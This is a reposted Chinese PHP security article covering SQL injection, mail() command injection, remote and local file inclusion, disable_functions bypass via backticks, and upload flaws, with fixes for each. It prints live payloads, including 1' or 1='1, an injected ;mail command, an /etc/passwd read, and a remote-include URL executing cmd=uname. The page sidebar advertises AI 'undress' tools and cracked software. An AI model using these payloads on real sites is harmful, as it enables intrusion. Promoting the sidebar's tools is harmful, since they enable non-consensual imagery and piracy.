搜尋
首頁後端開發php教程对PHP漏洞进行攻击之狗尾续貂_PHP

对PHP漏洞进行攻击之狗尾续貂_PHP

Jun 01, 2016 pm 12:25 PM
函數可以命令執行攻擊文件漏洞這個進行問題

Shaun Clowes的文章Exploiting Common Vulnerabilities in PHP Applications的确写的很棒,考虑到了很多方面,我这个文章只是狗尾续貂,补充一些其它没怎么提到的问题。本文侧重于解决问题,而不是攻击。

 


1、古老的欺骗SQL语句

 

在默认模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php还是打开magic_quotes_gpc=on。这样所有从GET/POST/Cookie来的变量的单引号(‘)、双引号(")、反斜杠backslash(\)以及空字元NUL(the null byte)都会被加上反斜杠,以使数据库能够正确查询。但是在php-4-RC2的时候引入了一个配置文件php.ini-optimized,这个优化的php.ini却是magic_quotes_gpc=off的。某些网管看到optimized字样也许就会把php.ini-optimized拷到/usr/local/lib/php.ini,这时就比较危险。象比较简单的验证,假设没有过滤必要的字符:

 

select * from login where user=‘$HTTP_POST_VARS[user]‘ and pass=‘$HTTP_POST_VARS[pass]‘

 

我们就可以在用户框和密码框输入1‘ or 1=‘1通过验证了。这是非常古董的方法了,这个语句会替换成这样:

 

select * from login where user=‘1‘ or 1=‘1‘ and pass=‘1‘ or 1=‘1‘

 

因为or 1=‘1‘成立,所以通过了。解决的办法最好就是过滤所有不必要的字符,还有就是推荐对于从GET/POST/Cookie来的并且用在SQL中的变量加一个自定义的函数:

 

function gpc2sql($str) {
    if(get_magic_quotes_gpc()==1)
        return $str;
    else
        return addslashes($str);
}

 

主要是为了你的程序能安全移植在各种系统里。

 


2、mail函数的第五个参数

 

在php-4.0.5的时候,mail函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数,但是没有很好的检查特殊SHELL命令字符,所以出现执行命令的大问题。就像手册里的例子:

 

mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME");

 

这个是存在问题的,如果$SERVER_NAME=;mail san@xfocus.org 这里提醒一下,php手册里还有好几个例子存在安全问题的,大家实际使用的时候不要照搬,它只是演示函数的基本功能,理解了就可以了。

 

对于mail函数的这个问题,最简单的我们就不用这个第五个参数,要使用就过滤非法的字符如(;),还有就是修改php源码包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:

 

extra_cmd=NULL

 

然后重新编译。

 


3、UNIX版的require, include函数

 

win版本的require和include函数是不支持HTTP和FTP远程文件包含的,而UNIX版本默认都是支持远程包含文件。require和include不管你是什么扩展名的,把你包含进来就作为程序的一部分来执行。

 

我们在写程序的时候为了程序的模块化,以及程序的可移植性,不可避免的用到很多require或include函数,而且有时用变量作为参数,比如:include("$something"); 如果这时用户能控制$something参数,而这个参数又没有过滤,那就惨拉。

 

首先可以看任何web用户有读权限的文件,假设这个程序叫http://victim/test.php,这样我们就可以用如下url: http://victim/test.php?something=/etc/passwd 看到/etc/passwd文件。

 

另外可以利用其远程文件包含的功能执行命令。比如我在www.xfocus.org下建立一个文件test.php,内容是:,那么我就可以用如下的url:

 

http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname

 

这种方式运行任意的命令。

 

phpMyAdmin也出现了这个问题,我们可以用它看任何我们想看的文件。但是它在include前,先用file_exist函数判断文件是否存在,而这个file_exist是不支持远程文件的,所以上面第二种办法无法直接使用。但是我们可以利用apache的日志功能,请求一个带php代码的url,这样,something指定为apache的日志也可以执行命令了,但是apache的日志通常比较大,有太多杂乱信息。http://www.securereality.com.au/sradv00008.txt提到的办法比较巧妙,用file upload的方式把本地的执行命令的脚本上传,会在服务器的文件上传临时目录里产生php8Ta02I之类的文件名,由于这时文件是存在的,所以能通过file_exist函数,从而执行上传文件里的执行脚本。

 

所以对于include, require函数的使用一定要小心,特别是以包含的文件以参数指定这种方式,参数绝对不能让用户来控制。还有通过修改php.ini文件去掉远程文件包含这个功能。这个在php-4.0.3以前用disable-url-fopen-wrapper 在以后的版本用allow_url_fopen = off来关闭。

 


4、disable_function

 

在php-4.0.1,php.ini里引入了一项功能disable_functions , 这个功能比较有用,可以用它禁止一些函数。比如在php.ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候只会提示Warning: system() has been disabled for security reasons.

 

唉,但是也不是没有办法执行系统命令了。因为php采用了很多perl的特性,比如还可以用(`)来执行命令:

 


$output = `ls -al`;
echo "

$output
";
?>

 

这个只有设成safe_mode才能避免,可是可恶的safe_mode实在是限制太多了,做其它事情也有些碍手碍脚。

 


5、file upload

 

php文件上传的问题在文章http://www.securereality.com.au/sradv00001.html里已经描述的很清楚了,这的确是个比较严重的问题,一般我们要上传的文件也会放在web目录,所以容易给攻击者得到系统的一些web用户能读的文件。

 

幸亏在php-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数。所以php-4.0.3以上的上传文件的程序一定不要再用copy函数了,用move_uploaded_file代替,它会检查是否是上传的文件。如果是php-4.0.2及以下的,建议在copy前加一个函数:

 

function is_uploaded_file($filename) {
    if (!$tmp_file = get_cfg_var(‘upload_tmp_dir‘)) {
        $tmp_file = dirname(tempnam(‘‘, ‘‘));
    }
    $tmp_file.=‘/‘.basename($filename);
    /* User might have trailing slash in php.ini... */
    return (ereg_replace(‘/+‘, ‘/‘, $tmp_file) == $filename);
}

 

这个漏洞在安全焦点呆了很久,只是在copy之前有很多验证阿、判断阿的语句,所以使之攻击存在相当的难度,赫赫。

 


还有,千万不要以环境变量、Cookie变量、session变量等作为关系生死的判断条件,因为这些变量太容易被伪造了。

 

呵呵,手头事情比较多,其它慢慢想到了再加吧,也欢迎其他同志任意的添加修改之。

 

参考文献
1、PHP 4 ChangeLog (http://www.php.net/ChangeLog-4.php)
2、A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications
   (http://www.securereality.com.au/studyinscarlet.txt)及analysist的翻译。
3、Remote command execution vulnerabilities in phpMyAdmin and phpPgAdmin
   (http://www.securereality.com.au/sradv00008.txt)

陳述
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
PHP的完整形式是什麼?PHP的完整形式是什麼?Apr 28, 2025 pm 04:58 PM

文章討論了PHP,詳細介紹了其完整形式,在We​​b開發中的主要用途,與Python和Java的比較以及對初學者的學習便利性。

PHP如何處理形式數據?PHP如何處理形式數據?Apr 28, 2025 pm 04:57 PM

PHP使用$ \ _ post和$ \ _獲取超級全局的php處理數據,並通過驗證,消毒和安全數據庫交互確保安全性。

PHP和ASP.NET有什麼區別?PHP和ASP.NET有什麼區別?Apr 28, 2025 pm 04:56 PM

本文比較了PHP和ASP.NET,重點是它們對大規模Web應用程序,性能差異和安全功能的適用性。兩者對於大型項目都是可行的,但是PHP是開源和無關的,而ASP.NET,

PHP是對病例敏感的語言嗎?PHP是對病例敏感的語言嗎?Apr 28, 2025 pm 04:55 PM

PHP的情況敏感性各不相同:功能不敏感,而變量和類是敏感的。最佳實踐包括一致的命名和使用對案例不敏感的功能進行比較。

您如何重定向PHP中的頁面?您如何重定向PHP中的頁面?Apr 28, 2025 pm 04:54 PM

本文討論了PHP中針對頁面重定向的各種方法,重點關注header()函數,並解決了諸如“標題已經發送”錯誤之類的常見問題。

解釋PHP中的類型暗示解釋PHP中的類型暗示Apr 28, 2025 pm 04:52 PM

文章討論了PHP中的類型暗示,這是一個用於指定功能中預期數據類型的功能。主要問題是通過類型執法提高代碼質量和可讀性。

PHP中的PDO是什麼?PHP中的PDO是什麼?Apr 28, 2025 pm 04:51 PM

本文討論了PHP數據對象(PDO),這是PHP中數據庫訪問的擴展名。它通過準備好的語句及其對MySQLI的好處,包括數據庫抽象和更好的錯誤處理,強調了PDO在增強安全性方面的作用。

如何在PHP中創建API?如何在PHP中創建API?Apr 28, 2025 pm 04:50 PM

文章討論了創建和保護PHP API,詳細介紹了從端點定義到使用Laravel和最佳安全實踐等框架優化性能優化的步驟。

See all articles

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

EditPlus 中文破解版

EditPlus 中文破解版

體積小,語法高亮,不支援程式碼提示功能

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

Atom編輯器mac版下載

Atom編輯器mac版下載

最受歡迎的的開源編輯器